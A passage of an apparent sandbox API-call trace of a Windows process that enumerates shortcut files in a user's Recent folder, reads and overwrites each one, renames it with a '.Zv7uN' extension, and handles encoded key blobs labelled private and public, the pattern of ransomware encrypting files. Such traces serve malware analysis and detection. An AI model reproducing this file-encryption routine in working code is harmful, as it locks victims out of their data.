HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bbtjkel4YLOifFIr.mkv.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bbtjkel4yloiffir.mkv.lnk.zv7un")) returned 1 [0080.158] GetCurrentThreadId () returned 0xa30 [0080.158] GetCurrentThreadId () returned 0xa30 [0080.158] GetCurrentThreadId () returned 0xa30 [0080.158] GetCurrentThreadId () returned 0xa30 [0080.158] GetCurrentThreadId () returned 0xa30 [0080.158] GetCurrentThreadId () returned 0xa30 [0080.158] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1a6a920, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1a6a920, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1a6a920, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1a63, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="Bu_QHO9-h.lnk", cAlternateFileName="BU_QHO~1.LNK")) returned 1 [0080.158] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0080.158] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0080.159] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Bu_QHO9-h.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bu_qho9-h.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1a6a920, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1a6a920, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1a6a920, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1a63)) returned 1 [0080.159] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Bu_QHO9-h.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bu_qho9-h.lnk")) returned 0x20 [0080.159] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Bu_QHO9-h.lnk", dwFileAttributes=0x80) returned 1 [0080.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0080.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0080.163] GetCurrentThreadId () returned 0xa30 [0080.163] GetCurrentThreadId () returned 0xa30 [0080.163] GetCurrentThreadId () returned 0xa30 [0080.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0080.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0080.164] GetCurrentThreadId () returned 0xa30 [0080.164] GetCurrentThreadId () returned 0xa30 [0080.164] GetCurrentThreadId () returned 0xa30 [0080.164] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Bu_QHO9-h.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bu_qho9-h.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.165] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0080.165] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0080.165] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x1a63 [0080.165] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0080.165] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x1a63, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x1a63, lpOverlapped=0x0) returned 1 [0080.167] CloseHandle (hObject=0x124) returned 1 [0080.167] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Bu_QHO9-h.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bu_qho9-h.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.169] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x1a63, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x1a63, lpOverlapped=0x0) returned 1 [0080.172] CloseHandle (hObject=0x124) returned 1 [0080.173] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Bu_QHO9-h.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bu_qho9-h.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Bu_QHO9-h.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\bu_qho9-h.lnk.zv7un")) returned 1 [0080.175] GetCurrentThreadId () returned 0xa30 [0080.175] GetCurrentThreadId () returned 0xa30 [0080.175] GetCurrentThreadId () returned 0xa30 [0080.175] GetCurrentThreadId () returned 0xa30 [0080.176] GetCurrentThreadId () returned 0xa30 [0080.176] GetCurrentThreadId () returned 0xa30 [0080.176] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f3e9a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2f3e9a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2f3e9a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x20c6, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="C5a1Xl8LZSVJ.lnk", cAlternateFileName="C5A1XL~1.LNK")) returned 1 [0080.176] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0080.176] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0080.176] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\C5a1Xl8LZSVJ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\c5a1xl8lzsvj.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f3e9a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2f3e9a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2f3e9a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x20c6)) returned 1 [0080.176] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\C5a1Xl8LZSVJ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\c5a1xl8lzsvj.lnk")) returned 0x20 [0080.176] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\C5a1Xl8LZSVJ.lnk", dwFileAttributes=0x80) returned 1 [0080.179] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKH